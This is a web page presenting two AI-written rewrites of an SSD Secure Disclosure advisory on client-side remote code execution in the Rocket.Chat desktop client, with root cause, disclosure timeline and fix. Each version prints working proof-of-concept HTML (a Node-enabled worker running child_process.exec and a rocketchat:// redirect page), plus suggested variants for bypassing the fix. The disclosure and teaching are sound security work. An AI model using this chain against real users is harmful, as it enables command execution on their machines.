Skip to content
RCE Write-up Advanced

SSD Advisory – Rocket.Chat Client-side Remote Code Execution

- Follow

Published on ssd-disclosure.com

Find out how a vulnerability in Rocket.Chat client allows remote attackers to cause a victim clicking on a seemingly harmless link to execute arbitrary commands.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Rocket.Chat is a chat application with a desktop client built on Electron. The desktop client renders messages, including links, and decides how those links are handled. According to the advisory, the client allows same host navigation: any link pointing at the same host is opened inside the Rocket.Chat desktop application itself rather than in the system browser. The advisory links to the client-side link component that implements this behaviour.

The vulnerability described here turns that behaviour into client-side remote code execution. The attacker does not need to put the attack vector in the link the victim clicks. The victim only has to click a seemingly harmless link, and the chain that follows does the rest. The advisory states that, as far as the team is aware, all versions of the Rocket.Chat client are vulnerable.

Setup

The advisory does not describe a lab setup, tooling or specific client versions. The only precondition it makes explicit is a Rocket.Chat deployment that allows file uploads. Rocket.Chat supports several file storage backends, and the advisory names S3, Gcloud and Webdav. The example uses S3 and a Rocket.Chat host of hi.rocket.chat, with the attacker-controlled page served from http://localhost.

The reproduction targets macOS, since the payload opens the Calculator application from /System/Applications/Calculator.app.

Finding it

The starting observation is the same host navigation rule. Because links to the same host open inside the Electron client, the question becomes whether the attacker can make the client follow a link to the legitimate Rocket.Chat host that then ends up somewhere else. That is an open redirect problem, and the advisory looks for open redirects in Rocket.Chat.

File uploads provide one. When a file is uploaded, Rocket.Chat stores it in the configured storage backend and the server returns a link on the same host that redirects to the file's location in that storage. With a site at hi.rocket.chat, an uploaded file yields a link of the form http://hi.rocket.chat/file-upload/hash/file.html, which redirects to S3. The link is on the trusted host, so the client will open it; the redirect then takes the client to attacker-supplied content.

That content matters because, per the advisory, Rocket.Chat enables nodeIntegration in workers. An HTML file loaded in that context can therefore reach Node.js APIs and run commands.

Exploitation

Step 1: upload the HTML payload

Upload a file with the following content:

HTML
<script>
new Worker('data:,require(`child_process`).exec(`open /System/Applications/Calculator.app`)');
</script>

The script creates a Web Worker from a data: URL. The worker body calls require('child_process') and executes open /System/Applications/Calculator.app, which launches the macOS Calculator. This works because workers are created with nodeIntegration enabled, so require is available inside the worker.

Step 2: copy the returned link

After the upload, copy the link to the uploaded file. Its path looks similar to:

Text
http://host.rocket.chat/file-upload/8ByCbH839kBDsYmEu/lin.html

This is the same-host URL that the Rocket.Chat server returns and that redirects to the storage backend where the file now lives.

Step 3: build the redirecting page

Replace the file upload path in the HTML below with the one from the upload, and replace the host with your own. In the advisory's example the host is http://localhost:

HTML
<html>
pwned
<script>
location.href='rocketchat://room?host=http://localhost&rid=pwn&path=file-upload/8ByCbH839kBDsYmEu/lin.html'
</script>
</html>

The page immediately navigates to a rocketchat:// URL. That custom scheme hands the request to the Rocket.Chat desktop client, passing the host, a room identifier (rid=pwn) and the path of the uploaded file. The client opens the path on the given host, producing the same-host file-upload URL from step 2, which then redirects to the stored HTML payload.

Step 4: get the victim to open the page

Open the HTML above in a browser. The advisory notes that the HTML does not have to be stored locally: it can be placed on a website, and a visitor to that site will have their Rocket.Chat client pop up and open Calculator.app. The link the victim clicks is harmless in itself; the attack vector is not in that link.

Root cause

The chain depends on three design decisions in the client.

  1. Same host navigation is allowed, so links to the Rocket.Chat host are opened inside the Electron application.
  2. The file upload feature returns a same-host URL that redirects to the storage backend, giving an open redirect on the trusted host.
  3. Workers run with nodeIntegration enabled, so HTML loaded through the redirect can execute arbitrary commands.

The advisory also describes the navigation defence and why it fails. Rocket.Chat does not allow navigation to arbitrary sites through the will-navigate event, but it does allow redirects. Because the check is applied to the navigation and not to the redirect that follows it, the same-host upload URL passes the check and the redirect then carries the client to the attacker's HTML. The advisory states that to properly fix the bug the will-redirect event should be used and nodeIntegration in workers should be disabled.

Impact

A remote attacker can execute arbitrary commands on the client side of a Rocket.Chat desktop user. The only user action required is clicking a seemingly harmless link, and the link itself does not contain the attack vector. The advisory demonstrates command execution by launching the macOS Calculator, but the mechanism is general command execution through child_process. The advisory states that all versions of the Rocket.Chat client are vulnerable as far as the team is aware.

Fix

The vulnerability was reported to Rocket.Chat in September 2021. The vendor was initially responsive and worked on a patch, and in October 2021 a new version was released that fixed the initial vector but not the overall problem: minimal modifications to the vector allowed the mitigation to be bypassed. The advisory says no subsequent communication was sent to the vendor, with a warning that the fix was incomplete, and no response was received. As far as the team knows, the client remained vulnerable at the time of publication.

Rocket.Chat issued a statement and a fix, referenced at https://github.com/RocketChat/Rocket.Chat.Electron/pull/2273/commits. The advisory's own recommendation is to use the will-redirect event and to disable nodeIntegration in workers.

Variants to test

  • Other storage backends. The advisory names S3, Gcloud and Webdav. Try uploads on each configured backend and check whether the returned same-host URL still redirects to the stored file. A positive result is a same-host link that lands on attacker-controlled HTML.
  • Other same-host redirects. Look beyond file uploads for any endpoint on the Rocket.Chat host that redirects to a location the attacker controls. A positive result is a URL on the trusted host whose response sends the client elsewhere.
  • Other custom-scheme parameters. The rocketchat://room handler accepts host, rid and path. Try varying these to see whether other combinations produce a navigation to attacker content. A positive result is the client opening a page the attacker controls.
  • Other worker payloads. The demonstration uses child_process inside a data: worker. Test whether other Node.js APIs are reachable in the same context. A positive result is any observable side effect from the worker.
  • Redirect handling in other Electron clients. For any Electron application that allows same host navigation, test whether will-navigate is enforced but will-redirect is not. A positive result is a same-host URL that redirects to attacker content and is loaded in the application.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

Rocket.Chat is a chat program, a bit like Slack or Discord. Besides running in a web browser, it has a desktop application that you install on your computer. That desktop application is built with a toolkit called Electron, which lets a program be written with web technology (HTML, JavaScript) and still behave like a normal installed program with access to your machine.

A security team at SSD Secure Disclosure published an advisory about a flaw in that desktop client. The short version: an attacker could get a Rocket.Chat user to run any command on their computer, and the user only had to click a link that looked completely ordinary. The link itself did not contain anything malicious. The trick happened after the click.

The advisory says that, as far as the team is aware, every version of the Rocket.Chat client was vulnerable. It demonstrates the attack on macOS by making the Calculator application open, but the same mechanism can run any command.

This article walks through the advisory from the beginning: what the client does with links, how file uploads create a stepping stone, how a small HTML page ties it together, and why the vendor's first fix did not close the hole.

Background: the pieces involved

Before the attack makes sense, here are the parts it uses.

Electron. A framework for building desktop applications with web pages. The visible part of the window is a web page, and behind it sits a full runtime for the JavaScript programming language, the same one that powers websites. Electron applications can choose to let the web page talk to the operating system, for example to read files or start programs. That bridge is what makes an Electron app useful, and it is also what makes a bug in one dangerous.

Node.js and require. Node.js is the JavaScript runtime that Electron embeds. In a normal web page, JavaScript is deliberately kept away from your computer: a website cannot start programs or read your files. In Node.js, JavaScript can. The function require is how Node.js code loads a module, and some modules, such as child_process, can start other programs. If a web page can call require, it can effectively run commands on the machine.

nodeIntegration. This is an Electron setting. When it is switched on for a piece of content, that content gets access to Node.js, including require. The advisory states that Rocket.Chat enables nodeIntegration in workers.

Web Worker. A worker is a background script that a web page can start so that heavy work does not freeze the page. It runs separately from the page but belongs to it. A worker can be created from a data: URL, which is a way of putting the script's content directly in the URL instead of pointing at a file.

Same host navigation. A host is the part of a web address that names the server, for example hi.rocket.chat. Rocket.Chat's desktop client has a rule: links that point at the same host as your chat server are opened inside the Rocket.Chat application itself, not in your normal browser. The advisory links to the client-side link component that implements this rule.

Open redirect. A redirect is when a server answers a request by saying "the thing you want is over there, go to this other address instead". An open redirect is a redirect where the destination can be influenced by whoever crafts the link. On its own it looks harmless, but it lets an attacker turn a trusted address into a doorway to their own content.

Custom URL scheme. You know http:// and https://. Programs can register their own prefixes too. Rocket.Chat registers rocketchat://, so a link starting with that prefix is handed to the installed Rocket.Chat application rather than to a browser. The application then reads the parameters in the link and acts on them.

macOS Calculator path. /System/Applications/Calculator.app is where the Calculator application lives on a Mac. Opening that path launches Calculator. It is a safe, visible proof that code ran, which is why advisories often use it as the demonstration.

The setup

The advisory does not describe a lab, tools or specific client versions. The one precondition it states is a Rocket.Chat deployment that allows file uploads. Rocket.Chat can store uploaded files in several backends, and the advisory names S3, Gcloud and Webdav. The example uses S3, a Rocket.Chat host of hi.rocket.chat, and an attacker page served from http://localhost.

The reproduction targets macOS, because the payload opens Calculator from /System/Applications/Calculator.app.

Finding it

The reasoning starts from the same host navigation rule. Since links to the chat server open inside the Electron client, the question becomes: can an attacker make the client follow a link to the real Rocket.Chat host that then ends up somewhere else? That is exactly an open redirect, so the advisory looks for open redirects in Rocket.Chat.

File uploads provide one. When you upload a file, Rocket.Chat stores it in the configured storage backend, and the server gives back a link on the same host that redirects to where the file now lives. If the site is hi.rocket.chat, an uploaded file produces a link of the form http://hi.rocket.chat/file-upload/hash/file.html, which redirects to S3. The link is on the trusted host, so the client opens it; the redirect then carries the client to content the attacker supplied.

That content matters because, per the advisory, Rocket.Chat enables nodeIntegration in workers. An HTML file loaded in that context can reach Node.js and run commands.

Exploitation

Step 1: upload the HTML payload

Upload a file with the following content:

HTML
<script>
new Worker('data:,require(`child_process`).exec(`open /System/Applications/Calculator.app`)');
</script>

Line by line:

  1. <script> and </script> mark the start and end of JavaScript inside an HTML page. Everything between them is code the browser (or, here, the Electron client) will run when the page loads.
  2. new Worker(...) creates a Web Worker. The argument is the script the worker should run.
  3. 'data:,require(...)...' is a data: URL. Instead of naming a file, it carries the script's text inline, after data:,. So the worker's whole program is written right there in the URL.
  4. require(child_process) loads Node.js's module for starting other programs. The backticks are just another way of writing a string in JavaScript.
  5. .exec(open /System/Applications/Calculator.app) asks that module to run the command open /System/Applications/Calculator.app, which launches Calculator on a Mac.

Why this step: the attacker needs a page that, when loaded by the Rocket.Chat client, runs a command. This tiny HTML file is that page. It works because workers are created with nodeIntegration enabled, so require is available inside the worker.

Step 2: copy the returned link

After the upload, copy the link to the uploaded file. Its path looks similar to:

Text
http://host.rocket.chat/file-upload/8ByCbH839kBDsYmEu/lin.html

This is the same-host URL that the Rocket.Chat server returns and that redirects to the storage backend where the file now lives.

Why this step: this URL is the trusted-looking doorway. It lives on the chat server's own host, so the client's same host rule will let it through, and it redirects to the attacker's HTML.

Step 3: build the redirecting page

Replace the file upload path in the HTML below with the one from the upload, and replace the host with your own. In the advisory's example the host is http://localhost:

HTML
<html>
pwned
<script>
location.href='rocketchat://room?host=http://localhost&rid=pwn&path=file-upload/8ByCbH839kBDsYmEu/lin.html'
</script>
</html>

Line by line:

  1. <html> opens the page, and pwned is just visible text.
  2. <script> starts the JavaScript.
  3. location.href = '...' tells the browser to navigate to the address on the right. Assigning to location.href is the standard way to send the current page somewhere else.
  4. The address is a rocketchat:// URL. Because of that prefix, the operating system hands it to the installed Rocket.Chat desktop client instead of a browser.
  5. room? is the part of the custom link the client understands, and everything after ? is a list of parameters separated by &.
  6. host=http://localhost tells the client which server to treat as the chat host.
  7. rid=pwn is a room identifier. The advisory uses the value pwn.
  8. path=file-upload/8ByCbH839kBDsYmEu/lin.html is the path of the uploaded file from step 2.

Why this step: the victim will click a link to this page, not to anything suspicious. When the page loads, it immediately asks the Rocket.Chat client to open a room on the given host with the given path. The client opens that path on the given host, producing the same-host file-upload URL from step 2, and that URL then redirects to the stored HTML payload from step 1. The chain is: harmless-looking page, custom link, trusted upload URL, redirect, attacker HTML, command.

Step 4: get the victim to open the page

Open the HTML above in a browser. The advisory notes that the HTML does not have to be stored locally: it can be placed on a website, and a visitor to that site will have their Rocket.Chat client pop up and open Calculator.app. The link the victim clicks is harmless in itself; the attack vector is not in that link.

Why this step matters: this is the whole point of the advisory. The victim does not install anything, does not open an attachment, and does not type a strange address. They click an ordinary link, and the rest happens through the Rocket.Chat client that is already installed and trusted.

Root cause

The chain depends on three design decisions in the client.

  1. Same host navigation is allowed, so links to the Rocket.Chat host are opened inside the Electron application.
  2. The file upload feature returns a same-host URL that redirects to the storage backend, giving an open redirect on the trusted host.
  3. Workers run with nodeIntegration enabled, so HTML loaded through the redirect can execute arbitrary commands.

The advisory also explains the navigation defence and why it fails. Rocket.Chat does not allow navigation to arbitrary sites through the will-navigate event, but it does allow redirects. An event here is a notification the Electron framework sends to the application at a particular moment, giving the application a chance to inspect and block what is about to happen. will-navigate fires when the content is about to move to a new address. Because the check is applied to the navigation and not to the redirect that follows it, the same-host upload URL passes the check, and the redirect then carries the client to the attacker's HTML. The advisory states that to properly fix the bug the will-redirect event should be used and nodeIntegration in workers should be disabled. will-redirect is the matching event for redirects, so checking there would catch the second hop.

Impact

A remote attacker can execute arbitrary commands on the client side of a Rocket.Chat desktop user. The only user action required is clicking a seemingly harmless link, and the link itself does not contain the attack vector. The advisory demonstrates command execution by launching the macOS Calculator, but the mechanism is general command execution through child_process. The advisory states that all versions of the Rocket.Chat client are vulnerable as far as the team is aware.

Fix

The vulnerability was reported to Rocket.Chat in September 2021. The vendor was initially responsive and worked on a patch, and in October 2021 a new version was released that fixed the initial vector but not the overall problem: minimal modifications to the vector allowed the mitigation to be bypassed. The advisory says no subsequent communication was sent to the vendor, with a warning that the fix was incomplete, and no response was received. As far as the team knows, the client remained vulnerable at the time of publication.

Rocket.Chat issued a statement and a fix, referenced at https://github.com/RocketChat/Rocket.Chat.Electron/pull/2273/commits. The advisory's own recommendation is to use the will-redirect event and to disable nodeIntegration in workers.

Variants to test

  • Other storage backends. The advisory names S3, Gcloud and Webdav. Try uploads on each configured backend and check whether the returned same-host URL still redirects to the stored file. A positive result is a same-host link that lands on attacker-controlled HTML.
  • Other same-host redirects. Look beyond file uploads for any endpoint on the Rocket.Chat host that redirects to a location the attacker controls. A positive result is a URL on the trusted host whose response sends the client elsewhere.
  • Other custom-scheme parameters. The rocketchat://room handler accepts host, rid and path. Try varying these to see whether other combinations produce a navigation to attacker content. A positive result is the client opening a page the attacker controls.
  • Other worker payloads. The demonstration uses child_process inside a data: worker. Test whether other Node.js APIs are reachable in the same context. A positive result is any observable side effect from the worker.
  • Redirect handling in other Electron clients. For any Electron application that allows same host navigation, test whether will-navigate is enforced but will-redirect is not. A positive result is a same-host URL that redirects to attacker content and is loaded in the application.

Glossary

  • Advisory: a public document describing a security flaw, its impact and often how to fix it.
  • Backend (storage): the service where a server keeps files, such as S3, Gcloud or Webdav, instead of on its own disk.
  • child_process: a Node.js module that lets JavaScript start other programs on the computer.
  • Client-side: happening on the user's own computer, inside the application they are running, rather than on the server.
  • Custom URL scheme: a prefix such as rocketchat:// that tells the operating system to hand a link to a particular installed application.
  • data: URL: an address that carries content inline instead of pointing at a file.
  • Electron: a framework for building desktop applications out of web pages and a JavaScript runtime.
  • Event (will-navigate, will-redirect): a notification the framework sends to the application before something happens, so the application can inspect or block it.
  • Host: the part of a web address that names the server, for example hi.rocket.chat.
  • HTML: the language web pages are written in.
  • JavaScript: the programming language that runs in web pages and in Node.js.
  • nodeIntegration: an Electron setting that gives loaded content access to Node.js, including require.
  • Node.js: the JavaScript runtime that Electron embeds, which can interact with the operating system.
  • Open redirect: a redirect whose destination can be influenced by whoever crafts the link.
  • Parameter: a named value in a URL, after ?, separated by &.
  • Redirect: a server response that tells the client to go to a different address instead.
  • Remote code execution (RCE): a flaw that lets an attacker run their own commands on someone else's machine.
  • require: the Node.js function that loads a module, some of which can start programs.
  • Same host navigation: opening links that point at the same host inside the application itself rather than in the system browser.
  • S3: Amazon's file storage service, one of the backends Rocket.Chat can use.
  • Web Worker: a background script started by a web page, running separately from the page itself.
  • Webdav: a protocol for storing and sharing files over the web, another backend Rocket.Chat can use.

More by -

View all

18 more disclosed reports, best first.

More from Rocket.Chat

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.